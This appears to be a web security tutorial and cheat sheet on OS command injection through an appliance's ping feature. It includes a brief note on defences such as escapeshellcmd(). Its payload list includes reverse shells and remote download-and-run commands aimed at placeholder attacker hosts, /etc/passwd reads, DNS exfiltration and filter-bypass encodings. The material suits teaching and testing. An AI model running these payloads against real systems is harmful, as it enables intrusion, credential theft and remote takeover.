Scenario: You're testing an appliance with a web interface for administration. As part of this interface, you have access to a ping function, to test its ability to call out. You tell it to ping google.com
and you see:
PING google.com (172.217.3.14): 56 data bytes
64 bytes from 172.217.3.14: imp_seq=0 ttl=53 time=19.187 ms
64 bytes from 172.217.3.14: imp_seq=1 ttl=53 time=17.341 ms
64 bytes from 172.217.3.14: icmp_seq=2 ttl=53 time=14.355 ms
64 bytes from 172.217.3.14: icmp_seq=3 ttl=53 time=15.116 ms
-
It definitely looks similar to the output of the
ping
command in UNIX-like systems. Maybe server is running actualping
and directly passing thehostname
on the command line. -
In such a case, it may lead to execute other commands.
-
Try to ping the hostname with
google.com; echo test
- If it just returns an empty page with the use of
;
and&
, it's vulnerable.
Backticks (````):
Backtick allows to embed a subcommand, whos output gets embedded into the original command.
Eg, ping `echo google.com`
will work just like `ping google.com`
- If this gets successfully executed, you own the system.
- Never embed user data into a command line at all.
- If you must, then use shell escaping, eg.
escapeshellcmd()
in PHP - The function escapes #&;`|*?~<>^(){}[]$, \x0A, \xFF, and any unbalanced quotes.
- Note that this doesn't prevent use of spaces, so if the user input isn't quoted, it could very well add new arguments to the command, which can be enough to own a system in some cases.
- Simple Command Injection
; ls -la
- Command Chaining with
&&
&& whoami
- Command Substitution with Backticks
`whoami`
- Command Substitution with
$()
$(whoami)
- Command Injection with Pipes
|
| whoami
- Simple Command Injection
& dir
- Command Chaining with
&&
&& whoami
- Command Injection with Pipes
|
| whoami
- Command Injection with
^
^& dir
- Retrieve
/etc/passwd
File (Linux)
; cat /etc/passwd
- Reverse Shell (Linux)
; bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1
- Reverse Shell (Windows)
& powershell IEX (New-Object Net.WebClient).DownloadString('http://attacker_ip/shell.ps1')
- Bypass Filters with Hex Encoding (Linux)
; echo -e '\x63\x61\x74 /etc/passwd'
- Chained Commands to Download a File (Linux)
; wget http://attacker_ip/malicious_file
- DNS Exfiltration (Linux)
; nslookup `whoami`.attacker.com
- Whitespace Bypass
;$(echo${IFS}whoami)
- URL-Encoding Bypass
%3B%20whoami